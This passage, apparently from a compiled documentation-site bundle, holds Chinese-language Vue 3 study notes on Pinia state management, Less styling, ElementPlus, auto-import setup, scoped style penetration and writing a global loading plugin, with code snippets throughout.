+ async setUserAsync ( ) {
+ const resultAsyn = await Login ( )
+ this . user = resultAsyn
+ this . setName ( "233Alter" )
+ } ,
+ setName ( name: string ) {
+ this . name = name
+ }
+
PiniaTest.vue
: 使用 ElementPlus 更新一波 UI:
< script setup lang = " ts" >
+import { useTestStore } from "@/store" ;
+import { userStore } from "@/store/User" ;
+
+import { storeToRefs } from "pinia" ;
+
+import {
+ Check,
+ Delete,
+ Edit,
+ Message,
+ Search,
+ Star,
+} from "@element-plus/icons-vue" ;
+
+const userTest = userStore ( ) ;
+
+const changeUserByAction = ( ) => {
+ userTest. setUser ( ) ;
+} ;
+
+
+const changeUserByActionAsync = ( ) => {
+ userTest. setUserAsync ( ) ;
+} ;
+const useTest = useTestStore ( ) ;
+
+console. log ( "studentStoreName:" ) ;
+useTest. printStudentState ( ) ;
+
+
+const { current, name } = useTest;
+
+const { current : currentRef, name : nameRef } = storeToRefs ( useTest) ;
+
+
+const useTestChange1 = ( ) => {
+ useTest. current++ ;
+} ;
+
+const useTestChange2 = ( ) => {
+ useTest. $patch ( {
+ name : "马克杯" ,
+ current : 10 ,
+ } ) ;
+} ;
+
+const useTestChange3 = ( ) => {
+ useTest. $patch ( ( state ) => {
+ state. name = "立牌" ;
+ state. current = 5 ;
+ } ) ;
+} ;
+
+const useTestChange4 = ( ) => {
+ useTest. $state = {
+ name : "小夜灯" ,
+ current : 7 ,
+ } ;
+} ;
+
+const useTestChange5 = ( ) => {
+ useTest. currentIncrement ( ) ;
+} ;
+ </ script>
+
+< template>
+ < div>
+ < el-card class = " box-card" >
+ < template #header >
+ < div class = " card-header" > 基础 state 修改测试, actions 测试</ div>
+ </ template>
+ < el-row> pinia: {{ useTest.name }} -- \${{ useTest.current }}</ el-row>
+ < el-row
+ > 直接解构: name: {{ name }} --- current: {{ current }} ---
+ 不具有响应式特性</ el-row
+ >
+ < el-row
+ > 通过 storeToRefs 解构: name: {{ nameRef }} --- current:
+ {{ currentRef }} --- 具有响应式特性</ el-row
+ >
+ < el-row>
+ < el-button type = " primary" @click = " useTestChange1"
+ > increment-直接修改属性值</ el-button
+ >
+ < el-button type = " primary" @click = " useTestChange2"
+ > 通过$patch批量修改属性</ el-button
+ >
+ < el-button type = " primary" @click = " useTestChange3"
+ > $patch的函数式写法</ el-button
+ >
+ </ el-row>
+ < el-row>
+ < el-button type = " primary" @click = " useTestChange4"
+ > 通过原始对象修改整个实例</ el-button
+ >
+ < el-button type = " primary" @click = " useTestChange5"
+ > 通过 actions 修改 current++</ el-button
+ >
+ </ el-row>
+ </ el-card>
+ </ div>
+ < div>
+ < el-card class = " box-card" >
+ < template #header >
+ < div class = " card-header" > actions 同/异步写法, getters 测试</ div>
+ </ template>
+ < p> actions-user: {{ userTest.user }}</ p>
+ < p> actions-name: {{ userTest.name }}</ p>
+ < p> getters:</ p>
+ < el-button @click = " changeUserByAction" > 通过 action 修改 user</ el-button>
+ < el-button @click = " changeUserByActionAsync"
+ > 通过 action 异步修改 user</ el-button
+ >
+ </ el-card>
+ </ div>
+</ template>
+
+< style lang = " less" scoped >
+.card-header {
+ // 文字居中
+ text-align : center;
+}
+
+.text {
+ font-size : 14px;
+}
+
+.item {
+ margin-bottom : 18px;
+}
+
+.box-card {
+ width : 620px;
+}
+ </ style>
+
getters actions 可用于修改 state, 而 getters 可用于修饰 state 并返回修饰结果
User.ts
代码片段:
+ getters: {
+ newName ( ) : string {
+ return \` $ - 名: \${ this . name} - 年龄: \${ this . getUserAge} \`
+ } ,
+ getUserAge ( ) : number {
+ return this . user. age
+ }
+ } ,
+
PiniaTest.vue
代码片段:
< el-card class = " box-card" >
+ < template #header >
+ < div class = " card-header" > actions 同/异步写法, getters 测试</ div>
+ </ template>
+ < p> actions-user: {{ userTest.user }}</ p>
+ < p> actions-name: {{ userTest.name }}</ p>
+ < p> getters: {{ userTest.newName }}</ p>
+ < el-button @click = " changeUserByAction" > 通过 action 修改 user</ el-button>
+ < el-button @click = " changeUserByActionAsync"
+ > 通过 action 异步修改 user</ el-button
+ >
+</ el-card>
+
PInia 插件 `,26),wp={href:"https://blog.csdn.net/qq1195566313/article/details/123431769",target:"_blank",rel:"noopener noreferrer"},xp=p(`pinia 和 vuex 都有一个通病 页面刷新状态会丢失, 所以要做下持久化插件
main.ts
代码片段:
import { createApp, toRaw } from "vue" ;
+
+import { createPinia, PiniaPluginContext } from "pinia" ;
+
+type Options = {
+ key? : string ;
+} ;
+
+const __piniaKey__ = "yusummer" ;
+
+
+const setStorage = ( key: string , value: any ) => {
+ localStorage. setItem ( key, JSON . stringify ( value) ) ;
+} ;
+
+
+const getStorage = ( key: string ) => {
+ return localStorage. getItem ( key)
+ ? JSON . parse ( localStorage. getItem ( key) as string )
+ : null ;
+} ;
+
+
+const piniaPlugin = ( options: Options) => {
+ return ( context: PiniaPluginContext) => {
+ const { store } = context;
+
+ const data = getStorage ( \` \${ options. key ?? __piniaKey__} - \${ store. $id} \` ) ;
+ console . log ( data) ;
+
+ store. $subscribe ( ( ) => {
+ setStorage (
+ \` \${ options. key ?? __piniaKey__} - \${ store. $id} \` ,
+ toRaw ( store. $state)
+ ) ;
+ } ) ;
+
+ console . log ( "store" , store) ;
+
+ return {
+ ... data,
+ } ;
+ } ;
+} ;
+
+
+const app = createApp ( App) ;
+
+app. use ( ElementPlus) ;
+
+
+const store = createPinia ( ) ;
+store. use (
+ piniaPlugin ( {
+ key: "pinia" ,
+ } )
+) ;
+
`,3),Ep={href:"https://github.com/Ayusummer/DailyNotes/blob/main/%E5%89%8D%E7%AB%AF/HTML%26CSS.md#windowlocalstorage",target:"_blank",rel:"noopener noreferrer"},Bp=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202204071059859.gif",alt:"msedge_2RktLwJ26F"})],-1),Ap=n("hr",null,null,-1),jp=n("h3",{id:"api",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#api","aria-hidden":"true"},"#"),s(" API")],-1),Vp={href:"https://blog.csdn.net/qq1195566313/article/details/123402377",target:"_blank",rel:"noopener noreferrer"},Cp=p(` $reset 无参函数, 用于重置 state 状态
< el-button @click = " userTest.$reset()"
+ > 通过 $reset 重置 userTest 到初始状态</ el-button
+>
+
$subscribe 订阅 state 更新
PiniaTest.vue
代码片段:
+userTest. $subscribe ( ( args, state) => {
+ console . log ( args) ;
+ console . log ( "userTest state:" , state) ;
+} ) ;
+
`,10),Tp=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202204050929731.gif",alt:""})],-1),Sp=n("code",null,"$subscribe",-1),Lp={href:"https://blog.csdn.net/qq1195566313/article/details/123402377",target:"_blank",rel:"noopener noreferrer"},Dp=p(` $onAction 只要有 action 被调用就会执行该函数
PiniaTest.vue
代码片段:
+userTest. $onAction ( ( args) => {
+ console . log ( "有 action 执行了 ↓" ) ;
+ console . log ( args) ;
+ console . log ( "有 action 执行了 ↑" ) ;
+} ) ;
+
`,5),Pp=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202204050939211.gif",alt:""})],-1),Np=n("code",null,"$onAction",-1),Mp={href:"https://blog.csdn.net/qq1195566313/article/details/123402377",target:"_blank",rel:"noopener noreferrer"},Ip=n("hr",null,null,-1),Rp=n("h2",{id:"less",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#less","aria-hidden":"true"},"#"),s(" Less")],-1),Hp={href:"https://blog.csdn.net/qq1195566313/article/details/122832888",target:"_blank",rel:"noopener noreferrer"},Fp={href:"https://less.bootcss.com/#%E6%A6%82%E8%A7%88",target:"_blank",rel:"noopener noreferrer"},Up={href:"https://www.cnblogs.com/a1231230/p/12107592.html",target:"_blank",rel:"noopener noreferrer"},zp=n("p",null,[n("strong",null,"Less (Leaner Style Sheets 的缩写) 是一门向后兼容的 CSS 扩展语言。")],-1),Wp=n("p",null,[n("code",null,"Less"),s(" 和 "),n("code",null,"CSS"),s(" 非常像, 且仅对 "),n("code",null,"CSS"),s(" 增加了少许方便的扩展, 比较容易学习")],-1),$p={href:"https://less.bootcss.com/features/",target:"_blank",rel:"noopener noreferrer"},Jp={href:"https://less.bootcss.com/functions/",target:"_blank",rel:"noopener noreferrer"},Op={href:"https://less.bootcss.com/usage/",target:"_blank",rel:"noopener noreferrer"},Gp={href:"https://less.bootcss.com/tools/",target:"_blank",rel:"noopener noreferrer"},Xp=p(`在 vue
文件中使用 less
只需要在 style
标签中注明即可
< style lang = " less" > </ style>
+
关于 scoped
:
scoped
用于实现组件的私有化, 当前 style
属性只属于当前模块
在 DOM
结构中可以发现, vue
通过在 DOM
结构以及 css
样式上加了唯一标记,达到样式私有化,不污染全局的作用,
使用 在 Node.js
环境中使用 Less
:
lessc styles.less styles.css
+
在浏览器环境中使用 Less
:
<link rel="stylesheet/less" type="text/css" href="styles.less" / >
+
<script src="//cdnjs.cloudflare.com/ajax/libs/less.js/3.11.1/less.min.js" ></ script>
+
实例
做一个如图所示的页面布局
在开发环境安装 less
pnpm install less less-loader -D
+
可能会报缺少 webpack, 可以在开发环境下装下 webpack
src\\assets\\css\\reset.less
清除原生样式:
+
+html,
+body,
+div,
+span,
+applet,
+object,
+iframe,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6,
+p,
+blockquote,
+pre,
+a,
+abbr,
+acronym,
+address,
+big,
+cite,
+code,
+del,
+dfn,
+em,
+img,
+ins,
+kbd,
+q,
+s,
+samp,
+small,
+strike,
+strong,
+sub,
+sup,
+tt,
+var,
+b,
+u,
+i,
+center,
+dl,
+dt,
+dd,
+ol,
+ul,
+li,
+fieldset,
+form,
+label,
+legend,
+table,
+caption,
+tbody,
+tfoot,
+thead,
+tr,
+th,
+td,
+article,
+aside,
+canvas,
+details,
+embed,
+figure,
+figcaption,
+footer,
+header,
+hgroup,
+menu,
+nav,
+output,
+ruby,
+section,
+summary,
+time,
+mark,
+audio,
+video {
+ margin : 0;
+ padding : 0;
+ border : 0;
+ font-size : 100%;
+ font : inherit;
+ vertical-align : baseline;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+menu,
+nav,
+section {
+ display : block;
+}
+ol,
+ul {
+ list-style : none;
+}
+
src\\main.ts
引入 reset.less
:
import { createApp } from "vue" ;
+import App from "./App.vue" ;
+import "./assets/css/reset.less" ;
+
+createApp ( App) . mount ( "#app" ) ;
+
src\\layout_less\\less_layout.vue
:
< script setup lang = " ts" >
+import lessMenu from "./Menu/lessMenu.vue" ;
+import lessHeader from "./Header/lessHeader.vue" ;
+import lessContent from "./Content/lessContent.vue" ;
+ </ script>
+
+< template>
+ < div class = " layout_less" >
+ < lessMenu />
+ < div class = " layout_less-right" >
+ < lessHeader />
+ < lessContent />
+ </ div>
+ </ div>
+</ template>
+
+< style lang = " less" scoped >
+.layout_less {
+ display : flex;
+ height : 60%;
+ overflow : hidden;
+ border : 1px solid #ccc;
+ &-right {
+ display : flex;
+ flex-direction : column; // 垂直方向
+ flex : 1;
+ }
+}
+ </ style>
+
src\\layout_less\\Menu\\lessMenu.vue
:
< script setup lang = " ts" > </ script>
+
+< template>
+ < div class = " menu_less" > 菜单区域</ div>
+</ template>
+
+< style lang = " less" scoped >
+.menu_less {
+ width : 200px;
+ border-right : 1px solid #ccc;
+}
+ </ style>
+
src\\layout_less\\Header\\lessHeader.vue
:
< script setup lang = " ts" > </ script>
+
+< template>
+ < div class = " header_layout" > 头部区域</ div>
+</ template>
+
+< style lang = " less" scoped >
+.header_layout {
+ height : 60px;
+ border-bottom : 1px solid #ccc;
+}
+ </ style>
+
src\\layout_less\\Content\\lessContent.vue
:
< script setup lang = " ts" > </ script>
+
+< template>
+ < div class = " content_layout" >
+ < div class = " content_layout-items" :key = " item" v-for = " item in 100" >
+ {{ item }}
+ </ div>
+ </ div>
+</ template>
+
+< style lang = " less" scoped >
+.content_layout {
+ flex : 1;
+ margin : 20px;
+ border : 1px solid #ccc;
+ overflow : auto;
+ &-items {
+ padding : 20px;
+ border : 1px solid #ccc;
+ }
+}
+ </ style>
+
Animate.css
`,21),Yp={href:"https://animate.style/",target:"_blank",rel:"noopener noreferrer"},Kp=p(` 安装与使用 pnpm install webpack
+pnpm install animate.css
+
使用 pnpm
安装在组建中导入 css
即可使用
结合 vue3 transition
使用 安装了依赖并在组建中导入后在使用 <transition>
时指定 enter-active-class
与 leave-active-class
来使用 animate.css
的动效, 如:
< transition
+ enter-active-class = " animate__animated animate__bounce"
+ leave-active-class = " animate__animated animate__fadeOut"
+>
+ < div v-if = " flag" class = " box" > </ div>
+</ transition>
+
完整代码详见 [内置组件-transition 中的相关内容](#结合 Animate.css 使用)
GreenSock `,11),Zp={href:"https://blog.csdn.net/qq1195566313/article/details/123000653",target:"_blank",rel:"noopener noreferrer"},Qp={href:"https://greensock.com/docs/v3/GSAP",target:"_blank",rel:"noopener noreferrer"},ne=p(`一个强大的 JS 动画库
Lodash `,4),se={href:"https://www.lodashjs.com/",target:"_blank",rel:"noopener noreferrer"},ae=p(`Lodash 是一个一致性、模块化、高性能的 JavaScript 实用工具库。
安装:
pnpm install lodash -S
+pnpm install @types/lodash -D
+
VueUse `,4),te={href:"https://vueuse.org/guide/",target:"_blank",rel:"noopener noreferrer"},pe=n("code",null,"VueUse",-1),ee={href:"https://v3.vuejs.org/guide/composition-api-introduction.html",target:"_blank",rel:"noopener noreferrer"},oe=p(`安装
pnpm install @vueuse/core
+
TSX `,3),ce={href:"https://www.tslang.cn/docs/handbook/jsx.html",target:"_blank",rel:"noopener noreferrer"},le={href:"https://blog.csdn.net/qq1195566313/article/details/123172735",target:"_blank",rel:"noopener noreferrer"},ie={href:"https://www.zhihu.com/question/436260027",target:"_blank",rel:"noopener noreferrer"},ue={href:"https://facebook.github.io/jsx/",target:"_blank",rel:"noopener noreferrer"},re={href:"https://reactjs.org/",target:"_blank",rel:"noopener noreferrer"},ke=n("p",null,[s("在此之前使用的是 Template 去写模板。现在可以扩展另一种风格: "),n("code",null,"TSX风格")],-1),de={href:"https://so.csdn.net/so/search?q=typescript&spm=1001.2101.3001.7020",target:"_blank",rel:"noopener noreferrer"},ve=p(`安装
pnpm install @vitejs/plugin-vue-jsx -D
+
todo
: 感觉暂时没有上 JSX/TSX 的需求, 后面切实需要用到时再看看吧
至少目前大部分业务场景都可以直接 template 写
auto-import `,4),me={href:"https://github.com/antfu/unplugin-auto-import",target:"_blank",rel:"noopener noreferrer"},ge={href:"https://blog.csdn.net/qq1195566313/article/details/123187523",target:"_blank",rel:"noopener noreferrer"},be=p(`安装
pnpm i -D unplugin-auto-import
+
vite 配置
import { defineConfig } from "vite" ;
+import vue from "@vitejs/plugin-vue" ;
+import VueJsx from "@vitejs/plugin-vue-jsx" ;
+import AutoImport from "unplugin-auto-import/vite" ;
+
+export default defineConfig ( {
+ plugins: [
+ vue ( ) ,
+ VueJsx ( ) ,
+ AutoImport ( {
+ imports: [ "vue" ] ,
+ dts: "src/auto-import.d.ts" ,
+ } ) ,
+ ] ,
+} ) ;
+
ElementPlus `,3),he={href:"https://element-plus.gitee.io/zh-CN/component/button.html",target:"_blank",rel:"noopener noreferrer"},qe=p(`安装
pnpm install element-plus
+pnpm i @types/lodash-es@"*"
+
main.ts
引入
import ElementPlus from "element-plus" ;
+import "element-plus/dist/index.css" ;
+
使用的时候直接在官网 cpoy 代码使用即可(可能有的组件会要求再装一些库)
backtop 踩坑记录 `,4),ye={href:"https://www.jianshu.com/p/b40d98535c10",target:"_blank",rel:"noopener noreferrer"},fe={href:"https://element-plus.gitee.io/zh-CN/component/backtop.html#%E8%87%AA%E5%AE%9A%E4%B9%89%E5%86%85%E5%AE%B9",target:"_blank",rel:"noopener noreferrer"},_e={href:"https://element.eleme.cn/#/zh-CN/component/backtop",target:"_blank",rel:"noopener noreferrer"},we=p(`ElementPlus
的 backtop
文档和 ELementUI
的backtop
文档有区别
而恰恰是 ElementPlus
缺的这个 target
在实际使用中容易踩坑
当外层滚动对象是 el-scrollbar
时, target
除了外层的 el-scrollbar__wrap
外还有个 page-component__scroll
< el-backtop
+ target = " .page-component__scroll, .el-scrollbar__wrap"
+ :right = " 40"
+ :bottom = " 40"
+ :visibility-height = " 40"
+ > UP</ el-backtop
+>
+
如果滚动对象是 div
的话可以将 target
定位到 div
的 class
< el-backtop target = " .box" :right = " 40" :bottom = " 40" :visibility-height = " 1"
+ > UP</ el-backtop
+>
+
表单 表单校验 先装下 async-validator
:
Scoped 与样式穿透 `,18),xe={href:"https://blog.csdn.net/qq1195566313/article/details/123319462",target:"_blank",rel:"noopener noreferrer"},Ee={href:"https://vuejs.org/api/sfc-css-features.html#scoped-css",target:"_blank",rel:"noopener noreferrer"},Be=p(`主要用于修改组件库的样式
VUE
中的 scoped
通过在 DOM
结构以及 css
样式上加唯一不重复的标记的方式,以保证唯一(而这个工作是由过 PostCSS
转译实现的),达到样式私有化模块化的目的。
scoped
三条渲染规则:
给 HTML 的 DOM 节点加一个不重复 data 属性来表示其唯一性
在每句 css 选择器的末尾(编译后的生成的 css 语句)加一个当前组件的 data 属性选择器来私有化样式
如果组件内部包含有其他组件,只会给其他组件的最外层标签加上当前组件的 data 属性
PostCSS 会给一个组件中的所有 dom 添加一个独一无二的动态属性 data-v-xxxx,然后,给 CSS 选择器额外添加一个对应的属性选择器来选择该组件中 dom,这种做法使得样式只作用于含有该属性的 dom——组件内部 dom, 从而达到了'样式模块化'的效果.
直接修改样式的话会因为 scoped 把元素选择器位置默认放在最后而无法成功修改样式, 可以通过 :deep(xxx)
的形式来修改具体样式
例如: 修改下 el-input
中的输入框背景色:
ELementUIInputStyleChange.vue
+
+
+
+< template>
+ < div style = " margin : 200px; " >
+ < el-input class = " ipt" > </ el-input>
+ </ div>
+</ template>
+
+< script setup lang = " ts" > </ script>
+
+< style scoped lang = " less" >
+.ipt {
+ // 样式穿透修改 input 样式
+ :deep(input) {
+ background-color : red;
+ }
+}
+ </ style>
+
自定义全局插件 `,12),Ae={href:"https://blog.csdn.net/qq1195566313/article/details/123300264",target:"_blank",rel:"noopener noreferrer"},je={href:"https://staging-cn.vuejs.org/guide/reusability/plugins.html#plugins",target:"_blank",rel:"noopener noreferrer"},Ve={href:"https://v3.cn.vuejs.org/guide/plugins.html#%E6%8F%92%E4%BB%B6",target:"_blank",rel:"noopener noreferrer"},Ce={href:"https://vuejs.org/guide/reusability/plugins.html#plugins",target:"_blank",rel:"noopener noreferrer"},Te=p(`插件是一种呢能够为 Vue 添加全局功能的工具代码
会用插件
import { createApp } from "vue" ;
+
+const app = createApp ( { } ) ;
+
+app. use ( myPlugin, {
+
+} ) ;
+
插件是一个拥有 install()
方法的对象, 或者简单的就只是一个函数, 它自己就是安装函数
, 接收应用实例和传递给 app.use()
的额外选项
const myPlugin = {
+ install ( app, options) {
+
+ } ,
+} ;
+
示例: 写一个 loading 插件
:
AnotherLoading.vue
:
< script setup lang = " ts" >
+import { ref } from "vue" ;
+
+let isShow = ref< boolean> ( false ) ;
+
+const show = ( ) => {
+ isShow. value = true ;
+} ;
+
+const hide = ( ) => {
+ isShow. value = false ;
+} ;
+
+defineExpose ( {
+ show,
+ hide,
+ isShow,
+} ) ;
+ </ script>
+
+< template>
+ < div v-if = " isShow" class = " loading" >
+ < div class = " loading-content" > loading...</ div>
+ </ div>
+</ template>
+
+< style lang = " less" scoped >
+.loading {
+ position : fixed;
+ inset : 0;
+ background : rgba ( 0, 0, 0, 0.8) ;
+ display : flex;
+ justify-content : center;
+ align-items : center;
+ &-content {
+ font-size : 30px;
+ color : #fff;
+ }
+}
+ </ style>
+
AnotherLoading.ts
import { App, createVNode, VNode, render } from "vue" ;
+import AnotherLoading from "./AnotherLoading.vue" ;
+
+export default {
+ install ( app: App) {
+ const vnode: VNode = createVNode ( AnotherLoading) ;
+ render ( vnode, document. body) ;
+ console . log ( AnotherLoading) ;
+ console . log ( vnode. component?. exposed) ;
+ app. config. globalProperties. $AnotherLoading = {
+ show: vnode. component?. exposed?. show,
+ hide: vnode. component?. exposed?. hide,
+ } ;
+
+ } ,
+} ;
+
main.ts
import { createApp } from "vue" ;
+import App from "./App.vue" ;
+import "./assets/css/reset.less" ;
+import Card from "./components/Card.vue" ;
+import AnotherLoading from "./components/AnotherLoading/AnotherLoading" ;
+
+
+const app = createApp ( App) ;
+
+
+type Filter = {
+ format: < T > ( str: T ) => string ;
+} ;
+
+
+type ALP = {
+ show : ( ) => void ;
+ hide : ( ) => void ;
+} ;
+
+
+declare module "@vue/runtime-core" {
+ export interface ComponentCustomProperties {
+ $filters: Filter;
+ $env: string ;
+
+ $AnotherLoading: ALP ;
+ }
+}
+
+
+app. config. globalProperties. $filters = {
+ format < T > ( str: T ) : string {
+ return \` 233 \${ str} \` ;
+ } ,
+} ;
+
+app. config. globalProperties. $env = "dev" ;
+
+
+app. use ( AnotherLoading) ;
+
+
+app. component ( "Card" , Card) . mount ( "#app" ) ;
+
AnotherLoadingTest.vue
< script setup lang = " ts" >
+import { ComponentInternalInstance, getCurrentInstance } from "vue" ;
+
+const { appContext } = getCurrentInstance ( ) as ComponentInternalInstance;
+
+const showLoading = ( ) => {
+ console. log ( appContext) ;
+ appContext. config. globalProperties. $AnotherLoading. show ( ) ;
+ setTimeout ( ( ) => {
+ appContext. config. globalProperties. $AnotherLoading. hide ( ) ;
+ } , 2000 ) ;
+} ;
+ </ script>
+
+< template>
+ < div>
+ < button @click = " showLoading" > 切换</ button>
+ </ div>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
组件系统 `,18),Se={href:"https://v3.cn.vuejs.org/guide/introduction.html#%E7%BB%84%E4%BB%B6%E5%8C%96%E5%BA%94%E7%94%A8%E6%9E%84%E5%BB%BA",target:"_blank",rel:"noopener noreferrer"},Le={href:"https://blog.csdn.net/qq1195566313/article/details/122811060",target:"_blank",rel:"noopener noreferrer"},De=n("p",null,"组件系统是 Vue 的另一个重要概念,因为它是一种抽象,允许我们使用小型、独立和通常可复用的组件构建大型应用。仔细想想,几乎任意类型的应用界面都可以抽象为一个组件树:",-1),Pe=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202202092223441.png",alt:"image-20220209222312257"})],-1),Ne=n("blockquote",null,[n("p",null,"每一个 vue 文件都可以充当组件来使用, 每一个组件都可以复用")],-1),Me=n("p",null,"例如:",-1),Ie=n("p",null,[s("在组件 "),n("code",null,"App.vue"),s(" 中通过 "),n("code",null,"Prop"),s(" 传数据给 "),n("code",null,"msg"),s(" 调用 "),n("code",null,"HelloWorld.vue"),s(" 组件")],-1),Re={href:"https://v3.cn.vuejs.org/guide/component-basics.html#%E9%80%9A%E8%BF%87-prop-%E5%90%91%E5%AD%90%E7%BB%84%E4%BB%B6%E4%BC%A0%E9%80%92%E6%95%B0%E6%8D%AE",target:"_blank",rel:"noopener noreferrer"},He=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202202141831137.png",alt:"image-20220214183148443"})],-1),Fe=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202202141833363.png",alt:"image-20220214183318826"})],-1),Ue=p(' 生命周期 下图展示了实例的生命周期。我们不需要立马弄明白所有的东西,不过随着不断学习和使用,它的参考价值会越来越高。
单文件组件 SFC(Single File Component) ',6),ze={href:"https://blog.csdn.net/qq1195566313/article/details/122771007",target:"_blank",rel:"noopener noreferrer"},We={href:"https://v3.cn.vuejs.org/api/sfc-script-setup.html",target:"_blank",rel:"noopener noreferrer"},$e=p("<script setup>
是在单文件组件 (SFC) 中使用组合式 API 的编译时语法糖。相比于普通的 <script>
语法,它具有更多优势:
更少的样板内容,更简洁的代码。 能够使用纯 Typescript 声明 props 和抛出事件。 更好的运行时性能 (其模板会被编译成与其同一作用域的渲染函数,没有任何的中间代理)。 更好的 IDE 类型推断性能 (减少语言服务器从代码中抽离类型的工作)。 *.vue
组件都由三种类型的顶层语法块所组成:<template>
、<script>
、<style>
",4),Je=p("<template>
每个 *.vue
文件最多可同时包含一个顶层 <template>
块。 其中的内容会被提取出来并传递给 @vue/compiler-dom
,预编译为 JavaScript 的渲染函数,并附属到导出的组件上作为其 render
选项。 ",1),Oe=n("p",null,[n("code",null,"
+
+
+
+
+
+
+
+